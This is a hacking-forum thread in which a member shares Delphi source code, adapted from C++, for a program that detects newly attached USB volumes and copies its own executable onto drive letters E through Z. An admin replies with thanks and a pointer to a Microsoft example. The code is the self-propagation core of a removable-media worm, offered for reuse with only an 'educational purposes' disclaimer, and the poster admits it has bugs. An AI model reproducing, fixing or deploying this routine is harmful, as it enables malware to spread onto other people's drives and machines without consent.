Hackerszone
Welcome Guest,
learn to hack easily with tutorials, python, notepad hacks and more!
Join today, fast and free!

Are you new to hacking? Learn the basics in computer configuration, hacking tools, and hacker terminology all found here on this forum!

Join today!!

Join the forum, it's quick and easy

Hackerszone
Welcome Guest,
learn to hack easily with tutorials, python, notepad hacks and more!
Join today, fast and free!

Are you new to hacking? Learn the basics in computer configuration, hacking tools, and hacker terminology all found here on this forum!

Join today!!
Hackerszone
Would you like to react to this message? Create an account in a few clicks or log in to continue.
Search
 
 

Display results as :
 

 


Rechercher Advanced Search

HZ Tracker
Hacking Widget Visitor Details
Latest topics
»  How to study to understand and apply RPA?
[DELPHI] Copy itself to USB drives EmptyTue Feb 02, 2021 7:12 am by manas41

» SQL injection and Quote escaping
[DELPHI] Copy itself to USB drives EmptySun Jun 28, 2015 11:42 am by ADS1

» [TUT] Chmod: Files & Permissions [TUT]
[DELPHI] Copy itself to USB drives EmptyThu Jun 04, 2015 12:45 pm by Guest

» Reaver pixiewps
[DELPHI] Copy itself to USB drives EmptyThu Jun 04, 2015 12:23 pm by voidfletcher

» How To Crash Someone's Skype in 10 SECONDS
[DELPHI] Copy itself to USB drives EmptyThu Jun 04, 2015 12:20 pm by voidfletcher

» Internet Security & IP Security (IPSec)
[DELPHI] Copy itself to USB drives EmptyMon May 18, 2015 9:00 pm by voidfletcher

» [Python] Infinite / Definite File Generator
[DELPHI] Copy itself to USB drives EmptyMon May 18, 2015 8:58 pm by ADS1

» [C#] String Case-Inversion
[DELPHI] Copy itself to USB drives EmptyMon May 18, 2015 8:57 pm by ADS1

» Rekall Memory Forensic Framework
[DELPHI] Copy itself to USB drives EmptySat May 16, 2015 8:55 pm by ADS1

Who is online?
In total there are 5 users online :: 0 Registered, 0 Hidden and 5 Guests :: 1 Bot

None

[ View the whole list ]


Most users ever online was 38 on Sun Mar 19, 2023 10:07 pm

[DELPHI] Copy itself to USB drives

2 posters

Go down

[DELPHI] Copy itself to USB drives Empty [DELPHI] Copy itself to USB drives

Post by kyle5647 Mon Apr 14, 2014 5:34 pm

Hello to all,

I figured I'd share to all Delphi'ers around here... this piece of code I adapted from looking around. I found the C++ procedure to accomplish this, and I got the idea. Then I adapted/translated to Delphi. It is not perfect, it has bugs... I placed the method in a thread so it won't lock up the main thread... still does hang it up...  Surprised

Enjoy, and use it only for educational purposes.

Code:

unit Unit1;

interface

uses
Winapi.Windows, Winapi.Messages, System.SysUtils, System.Variants, System.Classes, Vcl.Graphics,
Vcl.Controls, Vcl.Forms, Vcl.Dialogs, Vcl.StdCtrls;

type
TForm1 = class(TForm)
private
procedure WMDeviceChange(var Msg: TMessage); message WM_DEVICECHANGE;
public
{ Public declarations }
end;
type
TCopyItself = class(TThread)
Msg: TMessage;
procedure Execute; override;
end;

var
Form1: TForm1;

const
DBT_DEVICEARRIVAL = $00008000;
DBT_DEVICEREMOVECOMPLETE = $00008004;
DBT_DEVTYP_VOLUME = $00000002;

// Device structs
type
_DEV_BROADCAST_HDR = packed record
dbch_size: DWORD;
dbch_devicetype: DWORD;
dbch_reserved: DWORD;
end;
DEV_BROADCAST_HDR = _DEV_BROADCAST_HDR;
TDevBroadcastHeader = DEV_BROADCAST_HDR;
PDevBroadcastHeader = ^TDevBroadcastHeader;

type
_DEV_BROADCAST_VOLUME = packed record
dbch_size: DWORD;
dbch_devicetype: DWORD;
dbch_reserved: DWORD;
dbcv_unitmask: DWORD;
dbcv_flags: WORD;
end;
DEV_BROADCAST_VOLUME = _DEV_BROADCAST_VOLUME;
TDevBroadcastVolume = DEV_BROADCAST_VOLUME;
PDevBroadcastVolume = ^TDevBroadcastVolume;

implementation

{$R *.dfm}

{ TForm1 }

procedure TForm1.WMDeviceChange(var Msg: TMessage);
var
CopyItself1: TCopyItself;
begin
inherited;
CopyItself1 := TCopyItself.Create(True);
CopyItself1.Msg := Msg;
CopyItself1.FreeOnTerminate:=True;
CopyItself1.Suspended:=False;
CopyItself1.Execute;
end;

{ TCopyItself }

procedure TCopyItself.Execute;
const
DBT_DEVICEARRIVAL = $8000; // system detected a new device
DBT_DEVTYP_VOLUME = $0002;
DBT_DEVICEREMOVECOMPLETE = $8004; // device is gone
var
I: Integer;
DriveLetter: char;
lpdbhHeader: PDevBroadcastHeader;
begin
inherited;
lpdbhHeader:=PDevBroadcastHeader(Msg.lParam);
case Msg.wParam of
DBT_DEVICEARRIVAL: // or DBT_DEVICEREMOVECOMPLETE:
begin
Sleep(3500);
for I := 69 to 90 do begin // to 90
DriveLetter:=Chr(i);
if (lpdbhHeader^.dbch_devicetype = DBT_DEVTYP_VOLUME) then begin
CopyFile(PChar(ParamStr(0)), PChar(DriveLetter+':\'+ExtractFileName(Application.ExeName)), true);
end;
end;
end;
end;
end;

end.
kyle5647
kyle5647
Member
Member

Posts : 40
Join date : 2014-04-08

Back to top Go down

[DELPHI] Copy itself to USB drives Empty Re: [DELPHI] Copy itself to USB drives

Post by Admin Mon Apr 14, 2014 5:36 pm

Thanks for the share.. will have to port this. For those to lazy to port it to C here is an example of the same method on MSDN without the file being copied.

[You must be registered and logged in to see this link.]

Admin
Coder
Coder

Posts : 101
Join date : 2014-04-07

https://thehackerszone.forumotion.com

Back to top Go down

Back to top

- Similar topics

 
Permissions in this forum:
You cannot reply to topics in this forum